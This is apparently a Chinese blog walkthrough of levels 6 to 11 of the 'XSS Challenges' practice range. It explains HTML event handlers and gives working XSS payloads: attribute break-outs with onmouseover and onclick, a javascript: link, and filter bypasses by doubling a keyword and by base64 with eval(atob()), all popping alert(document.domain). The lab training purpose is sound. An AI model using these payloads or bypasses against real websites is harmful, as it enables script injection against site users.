目录
一、HTML事件
处理器会监视特定的条件或用户行为,如鼠标单击(onclick)或浏览器窗口中完成加载某个图像(onload)。通过使用户客户端的javascript,可以将某些特定的事件处理器作为属性添加给特定的标签,并可以在事件发生时执行一个或多个JavaScript命令或函数,html事件有非常多,具体可以查阅文档。
例如鼠标事件:
二、XSS Challenges
第六关
传统手艺,在value里直接闭合value
构建payload
"><script>alert(document.domain)</script>
不对劲奥,它把<和>转义了
上有政策下有对策,我们直接使用input中的属性,不用尖括号了呗
payload
" onmouseover="alert(document.domain)
注入成功!过关!
使用其它事件,如onclick
" onclick="alert(document.domain)
在点击输入框的时候触发
也过关了,html事件有很多总有一种适合你!
第七关
传统手艺
这看起来跟上一关一模一样啊
直接payload
" onmouseover="alert(document.domain)
会发现这里的引号不起作用了
我们输入一个Chen D,再看一下代码
空格前的进入value了 后面的直接跟在后面了,也就是说这里是用空格分隔的
payload:Chen onmouseover=alert(document.domain)
过关,这道题自动为每一个事件加上了双引号,并且屏蔽了我们手工输入的双引号,我们利用空格分隔的特性构造payload
第八关
可以看到注入点在<a>标签的href中,并且测试了各种闭合都无效,只能用href入手
这里要用到JavaScript伪协议,javascript:URL,这时我们点击该连接则会执行JavaScript语句
注:伪协议中可以存在多条语句,使用分号隔开
这里的payload
javascript:alert(document.domain);
点击链接
过关
第九关
因为第九关是基于UTF-7 的,而现在大部分浏览器都不使用了,所以就跳过了
直接在代码中写进去就行了,然后过关,当然这就是跳关哈没有啥意义
第十关
先传统手艺
尝试注入
发现domain没了,应该是给过滤了,还记得sql注入绕过的方法吗
双写与编码绕过
尝试一下双写 dodomainmain
payload=
ChenD" onmouseover="alert(document.dodomainmain)
编码绕过,将alert(document.domain)base64加密,在代码中使用atob解密,通过eval运行
alert(document.domain)
加密后
YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==
payload
ChenD" onmouseover="eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))
或者
ChenD"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))</script>
也过关!
第十一关
我也不知道为啥我进不去,那这个靶场就到这里吧,下篇文章换靶场